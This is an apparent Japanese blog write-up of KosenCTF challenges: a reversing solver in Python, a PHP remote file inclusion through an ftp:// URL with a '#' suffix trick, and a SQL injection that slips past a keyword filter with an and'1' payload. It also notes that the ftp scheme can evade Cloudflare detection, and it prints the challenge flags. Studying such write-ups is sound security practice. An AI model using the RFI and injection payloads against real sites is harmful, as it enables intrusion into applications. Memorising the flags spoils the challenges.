結果はフラグを入れた91チーム中、チームContrailは5位でした。
チームとしてはcrypto以外は全完で、私もいくつか貢献できたので本当に嬉しいです。
とてもおもしろいCTFでした。良問を揃えてくれ、潤沢なサーバーリソースを提供してくれた運営には感謝。
REV
favorites [357points]
radare2で解析し、python3でsolverを書いた。
メインルーチンはこのようになっていて、0x12b9から0xe回のループで
ret = f(user_input, counter, ret)
によって暗号化された入力を0x1352で4桁ずつHEX文字列にし、正解と比較している。(retの初期値は0x1234)
つまり、f()の内容さえ解析できればフラグとヒットする文字列を探索できそうだとわかる。
f(user_input, counter, ret)を見てみよう。
分岐もないし長くもないし簡単じゃんと思う。私もそう思いました。
実はビット拡張やal,axなどを編集する処理があり、とても解読がつらい。なんか微妙にずれて永遠に答えが出ず、今回のCTFの長い時間をこの問題と過ごすことになった。
気合でretdecなどの力を借りつつ(そのままだと正しくない)読むとこのようになる。気がしたが上位ビットがちょっとずれて永遠にわからんので無視した。
def f(a1,a2,a3): v1 = a3 & 0xffffffffffffffff v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00 return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff) & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff
あとはsolverを書く。ちなみに問題に好きなアニメとか暗号化されて埋め込まれてるが一切関係ない(めちゃくちゃ困惑して迷った)。
def f(a1,a2,a3): v1 = a3 & 0xffffffffffffffff v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00 return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff) & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff correct = "62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178" s = correct anslist = [s[i: i+4] for i in range(0, len(s), 4)] print(anslist) rdx = 0x1234 for d in range(0,0xe): for i in range(0x30,0x7f): ret = f(i,d,rdx) if(hex(ret)[-2:] == anslist[d][-2:]): print(chr(i),end="") rdx = ret break
KosenCTF{Bl00m_1n70_Y0u}
WEB
Neko Loader [434points]
問題サーバが閉じてしまったため詳細は割愛するが、phpにおいてinclude()でRFIが出来る問題。ただし、入力にかなり制約があるため工夫が必要。
include("ftp://xxx.php#ftp:")
のようなincludeをさせる。
通常、php7ではnull byte injectionなどにより末尾に追加される文字列をスキップできないが、URL形式であれば#以降はスキップできることを利用し、ftpが制限をバイパス出来ることを利用した。
今回のRFIの想定は少し突飛だが、ftpスキームによりcloudflareの攻撃検知をバイパスする手法は実際に存在するため、大いに覚えておく価値はある。
E-Sequel-Injection [500points]
コメントアウトやunion、orなどが全て禁止され、andとin、その他記号を用いて以下のsqlでadminとしてログインする問題
prepareしているため一見脆弱性は存在しないように見えるが、使い方を間違えているためインジェクション可能(ここはチームメイトに指摘を頂いた)
$pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
抜ける必要がある正規表現は以下。
$pattern = '/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|;|\/|\*|\|)/i';
スペースやコメントアウトが禁止されているため、末尾の ' がかなり難しい、orが使えれば''or''で抜けられるし、スペースが有りならorder by ''で抜けられるが、この状況では無理。
mysqlの仕様と睨んでいたが、最終的にand'1'が可能であることが手元の検証でわかったため、以下のようなsqlを組み立ててフラグを通した。
SELECT username from users where username='admin'and'admin'in('admin','and password=')and'1'
KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}
and'1'はかなり実用的に思える。